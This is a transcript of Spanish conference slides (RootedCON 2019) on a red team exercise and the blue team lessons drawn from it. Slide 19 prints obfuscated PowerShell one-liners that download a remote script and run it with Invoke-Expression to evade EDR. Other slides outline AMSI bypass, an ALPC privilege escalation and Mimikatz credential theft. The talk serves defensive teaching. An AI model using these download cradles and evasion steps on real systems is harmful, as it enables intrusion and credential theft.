Se ha denunciado esta presentación.
Utilizamos tu perfil de LinkedIn y tus datos de actividad para personalizar los anuncios y mostrarte publicidad más relevante. Puedes cambiar tus preferencias de publicidad en cualquier momento.

Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]

287 visualizaciones

Publicado el

Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]

Publicado en: Tecnología
  • Sé el primero en comentar

Abraham Pasamar & Carlos Fernández - Purple brain, purple brain ... [rooted2019]

  1. 1. Purple brain, purple brain... Un enfoque global de la gestión de riesgos Red Team & Blue Team Abraham Pasamar & Carlos Fernández
  2. 2. Who are we? ● Abraham Pasamar ● Ingeniero y Master en Ciberseguridad ● CEO INCIDE (DFIR & SEC. ASSESSMENT) ● +14 años de experiencia en infosec (...o lo que viene siendo: un abuelete) 2 ● Carlos Fernández ● Ingeniero de Telecos y OSCP ● Coordinador técnico de SEC. ASSESSMENT en INCIDE ● 87% cafeína
  3. 3. What we do? 3
  4. 4. Equipo Rojo y Equipo Azul 4
  5. 5. Mentalidad dual: Purple Brain 5 ● RED TEAM por si mismo no aporta valor a la empresa que contrata. Debe orientarse a mejorar la SEGURIDAD ● BLUE TEAM no orientado a AMENAZAS e IMPACTO no es efectivo
  6. 6. Confianza excesiva en los vendors 6 TRUST
  7. 7. Disección de un ejercicio de Red Team 7
  8. 8. Planteamiento del ejercicio 8
  9. 9. 9 El laboratorio
  10. 10. 3 El vector de infección 10 1 C&C ORGANIZACIÓN 2 1 EVASIÓN PERIMETRO 2 EVASIÓN LOCAL 3 EVASIÓN PERIMETRO
  11. 11. Laboratorio: Canal de C&C 11 Proxy Víctima HTTPS C&C Switch Inspección Tráfico HTTPS HTTPS Inspección SSL Overlay encryption IDS/IPS TLS Domain hunting Valid SSL Cert Allowed connection
  12. 12. 3 El vector de infección 12 1 C&C ORGANIZACIÓN 2 1 EVASIÓN PERIMETRO 2 EVASIÓN LOCAL 3 EVASIÓN PERIMETRO3 EVASIÓN PERIMETRO
  13. 13. Laboratorio: Ejecución y evasión de AV LOLBINS API ABUSE FILE-LESS OBFUSCATIONPOWERSHELL SCRIPTING AV vs EDR 13
  14. 14. Demo: Shellcode cifrado + Regasm (LOLBIN) 14 RegAsm.exe DLL Maliciosa Carga Descifra y ejecuta Shellcode conocido DEMO
  15. 15. Demo: File-less AMSI Patch 15 ¿Qué es la AMSI?
  16. 16. Demo: File-less AMSI Patch 16 C2 Server DownloadString1 Invoke-Expression2 AMSI Patch3 DownloadString (Script malicioso conocido) 4 Invoke-Expression5 Inyección de shellcode en otro proceso 6 DEMO
  17. 17. Laboratorio: Ejecución y evasión de EDR 17
  18. 18. Laboratorio: Ejecución y evasión de EDR 18 EDR EDR 1. 2. + ????
  19. 19. Laboratorio: Ejecución y evasión de EDR 19 EDR EDR powershell -c "$wc = (New-Object Net.WebClient); $wc.Proxy.Credentials=[Net.CredentialCache]::De faultNetworkCredentials; $wc.downloadstring('http://rootedcorn.com/main.js ') | iex” powershell -c "echo ('`$wc = (New-Object Net.W'+'ebClient); `$wc.Proxy.Credentials=[Net.CredentialCache]::D efaultNetworkCredentials; `$wc.downloadstring(''https://rootedcorn.com/main .js'') | iex) | iex"
  20. 20. 3 El vector de infección 20 1 C&C ORGANIZACIÓN 2 1 EVASIÓN PERIMETRO 2 EVASIÓN LOCAL 3 EVASIÓN PERIMETRO 2 EVASIÓN LOCAL
  21. 21. Laboratorio: Ya está, no? 21
  22. 22. 3 El vector de infección 22 1 C&C ORGANIZACIÓN 2 1 EVASIÓN PERIMETRO 2 EVASIÓN LOCAL 3 EVASIÓN PERIMETRO
  23. 23. Laboratorio: Hacer llegar el launcher 23 Adjuntos Dominios Descargas (inspección SSL)
  24. 24. Laboratorio: Hacer llegar el launcher 24 Spearphishing link Domain Hunting Cats
  25. 25. Laboratorio: Cat Gallery Demo 25 DEMO
  26. 26. Cómo se ha ejecutado el malware? 26 Pistas
  27. 27. Laboratorio: Todo listo 27
  28. 28. 3 El vector de infección 28 1 C&C ORGANIZACIÓN 2 1 EVASIÓN PERIMETRO 2 EVASIÓN LOCAL 3 EVASIÓN PERIMETRO 1 EVASIÓN PERIMETRO
  29. 29. Compromiso inicial 29 Lanzamiento
  30. 30. Compromiso inicial 30 Espera
  31. 31. Compromiso inicial 31 Acceso
  32. 32. Reconocimiento y exfiltración 32
  33. 33. Elevación de privilegios local 33
  34. 34. Elevación de privilegios local Advanced Local Procedure Call (ALPC) Local Privilege Escalation Publicada el 28/08/2018 en Twitter por @SandboxEscaper 34 SchRpcSetSecurity Task Scheduler comprueba Fichero .job C:WindowsTasks Asigna una DACL (permisos), como SYSTEM.
  35. 35. Elevación de privilegios local 35 Fichero .jobC:WindowsTasks Mecánica del exploit: Hard Link Fichero cualquiera Modificada por payload arbitrario en formato .dll Se modifica la DACL de este fichero, otorgándonos permiso de escritura! Fichero .job printconfig.dll PoC publicada: Hard Link Cargada por spoolsv.exe (SYSTEM)
  36. 36. Elevación de privilegios local Solución: Listar tareas programadas Seleccionar .exe no crítico que se ejecute como SYSTEM Modificar, descargar y ejecutar exploit ... Problema: La DLL estaba cargada y no la podíamos sobreescribir aunque tuviéramos permisos! 36
  37. 37. Elevación de privilegios local Antes del exploit: Después del exploit: 37
  38. 38. Elevación de privilegios local Seguimos.... Sobreescribimos el ejecutable con nuestro payload Esperamos a que ejecute la tarea programada como SYSTEM Obtenemos un proceso elevado, controlado por nosotros 38
  39. 39. Reconocimiento para movimiento lateral 39
  40. 40. Reconocimiento para movimiento lateral 40 Victim SGES1001 Windows Server 2008 R2 SP1 Queremos sus credenciales RDP Bob Sesión iniciada Pertenece a Administradores de dominio
  41. 41. Acceso a credenciales para elevación en dominio 41 Victim 1. Conexión RDP enrutada a través del canal de C2 SGES1001 2. Listado de parches: KB2871997 instalado 3. Clave de registro HKEY_LOCAL_MACHINESystem CurrentControlSetControlSecurity ProvidersWDigest sin definir → Credenciales en claro en memoria 4. Repetimos la elevación de privilegios 5. Invoke- Mimikatz retocado para evadir la detección 6. Obtenemos las credenciales de Bob
  42. 42. Ejecución de movimiento lateral privilegiado 42 RDP WMI WinRMCredenciales de Bob
  43. 43. 43 Finalizado el ejercicio de Red Team ¿Y ahora qué?
  44. 44. Ejercicio de Red Team: Perspectiva azul Una vez acabado, es hora de mirar a las acciones realizadas desde la perspectiva defensiva. 44
  45. 45. Disección del ejercicio: Técnicas adversariales 45 Mitre ATT&CTM Matrix
  46. 46. Diseccionando el ejercicio 46
  47. 47. 47 Bitacora
  48. 48. Filosofía defensiva 48 BLOQUEO MONITORIZACIÓN TRAZABILIDAD MITIGACIÓN AUTOMÁTICA DETECCIÓN TEMPRANA RESPUESTA EFECTIVA
  49. 49. Ejemplo: Powershell (T1086) 49 ●Bloqueo ● ¿Se puede mitigar la ejecución de la técnica? ● Seguramente no es posible deshabilitar o bloquear powershell y el bloqueo es bypasseable ● Logs >v5 ● Logs logs que contienen los comandos de PowerShell no están habilitados por defecto: ● Script Block Logging ● V2 no logea, deshabilitar v2 para evitar ataques downgrade
  50. 50. Ejemplo: Powershell (T1086) 50 ●Monitorización ● Recopilar, centralizar, establecer alertas ● ¿Usuario de marketing ejecutando PS? ● Comandos ejecutados en horas no previstas ● Patrones sospechosos, etc
  51. 51. Ejemplo: Powershell (T1086) 51 ●Trazabilidad ● Logs centralizados ● Logs locales + extensos ● Asegurar volumen suficiente para evitar rotación rápida
  52. 52. 52 ● Mentalidad de vigilancia constante ● Proactivos y apasionados, buscad alertas creativas ● Haceos vuestros propios scripts ● Empezad por mirarlo localmente en maquina de pruebas o usad una centralización de unas cuantas máquinas para probarlo ● Windows event collector ● Agentes: osquery, grr, f-response Mentalidad blue
  53. 53. Conclusiones PURPLE TEAM (MENTALIDAD PURPLE): LA FUSION DE AMBOS MUNDOS APORTA MUCHO VALOR RED TEAM Por si mismo no es efectivo Debe orientarse a mejorar la SEGURIDAD BLUE TEAM Si no está orientado a AMENAZAS e IMPACTO no es efectivo Debes poner a prueba el sistema de defensa con ejercicios de ataque 53
  54. 54. 54 ● A todo el equipo INCIDE ● Mención especial a SARA RUIZ, responsable del departamento de auditoría ● A todos los investigadores que comparten sus trabajos ● A la organización RootedCON, tanto staff como voluntarios ● Y a todos vosotros por vuestra atención Agradecimientos
  55. 55. https://www.incide.es https://twitter.com/1NC1D3 info@incide.es Contacto 55

×